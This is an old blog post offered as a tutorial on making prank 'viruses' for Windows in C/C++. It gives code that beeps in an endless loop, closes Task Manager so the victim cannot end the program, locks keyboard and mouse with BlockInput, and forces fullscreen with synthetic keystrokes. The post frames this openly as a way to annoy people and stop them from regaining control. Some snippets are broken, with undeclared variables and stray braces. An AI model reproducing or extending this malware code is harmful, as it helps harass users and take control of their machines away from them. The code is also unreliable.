Latest News:2013
@ Java Object Orinted Programming Running @
Information Syestem for all: Some virus program

Find me facebook

Sunday, December 4, 2011

Some virus program

Before I get started, I am going to tell you one thing. THIS IS NOT A TUTORIAL ON WRITEING VIRUS, ITS A TUTORIAL ON MAKING THEM STRONGER! If you want a tutorial on how to make a basic virus go check out Smith's C++ Virus Writing Guide



Ok now to start with the basics of "fun" viruses.


CODE C Language
view source
print?
1    int Freq = 100;
2    int Duration = 100;
3    Beep(Freq,Duration);


The code above will make your computer beep. So say you write

CODE C Language
view source
print?
1    while(1==1)
2    {Beep(Freq,Duration);}
3    }


This would make someones computer beep over and over and over again. 
want a cool beeping virus, check out Smith First C++ Virus


ok so now you know how to piss someone off with anoying nosies.
Q: So how can we make it so they cants stop our program from running???
A: BlockInput();

BlockInput() is a great thing...except for one little problem, the user can still press CTRL + ALT + DEL bringing up the taskmgr making our program stupid. so we now need a way to block both the input and kill taskmgr. Well, its simple.


CODE C Language
view source
print?
01    #include <winable.h> //must have for BlockInput
02    //put the codes you learned from Smith's Virus Guide here
03   
04     hWin = FindWindow(NULL,"Windows Task Manager");       //checks to make sure taskmgr isnt opened
05    SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); // if taskmgr is open it will close
06   
07    BlockInput(true);
08    cout << "Your Input Is Blocked" <<endl;
09    Sleep(10000); //pauses for 10 seconds
10    BlockInput(false);
11    cout << "Your Input Is Unblocked" <<endl;
12   
13    }


compile that code and run the program, for 10 seconds you cannot move your mouse or type anything with your keyboard. cool right?

Q: I want to make my C++ virus full-screen, how would i do this?
A:

CODE C Language
view source
print?
01    #include <iostream>
02    using namespace std;
03   
04    #include <windows.h>
05   
06    #include <conio.h>
07   
08    class Program {
09    public:
10    void Fullscreen();
11    };
12   
13    int main()
14    {
15    Program start;
16    start.Fullscreen();
17    cout<<"This is a full-screen C++ application!!";
18    getch();
19    return 0;
20    }
21   
22    void Program::Fullscreen()
23    {
24    keybd_event (VK_MENU, 0x38, 0, 0);
25    keybd_event (VK_RETURN, 0x1c, 0, 0);
26    keybd_event (VK_RETURN, 0X1c, KEYEVENTF_KEYUP, 0);
27    keybd_event (VK_MENU, 0x38, KEYEVENTF_KEYUP, 0);
28    }

code was writen by "asesh"

well i cant think of anything else to add. we went over beeping, blocking input, and full-screen...
if i think of anything else i add it
- peace 

No comments:

Post a Comment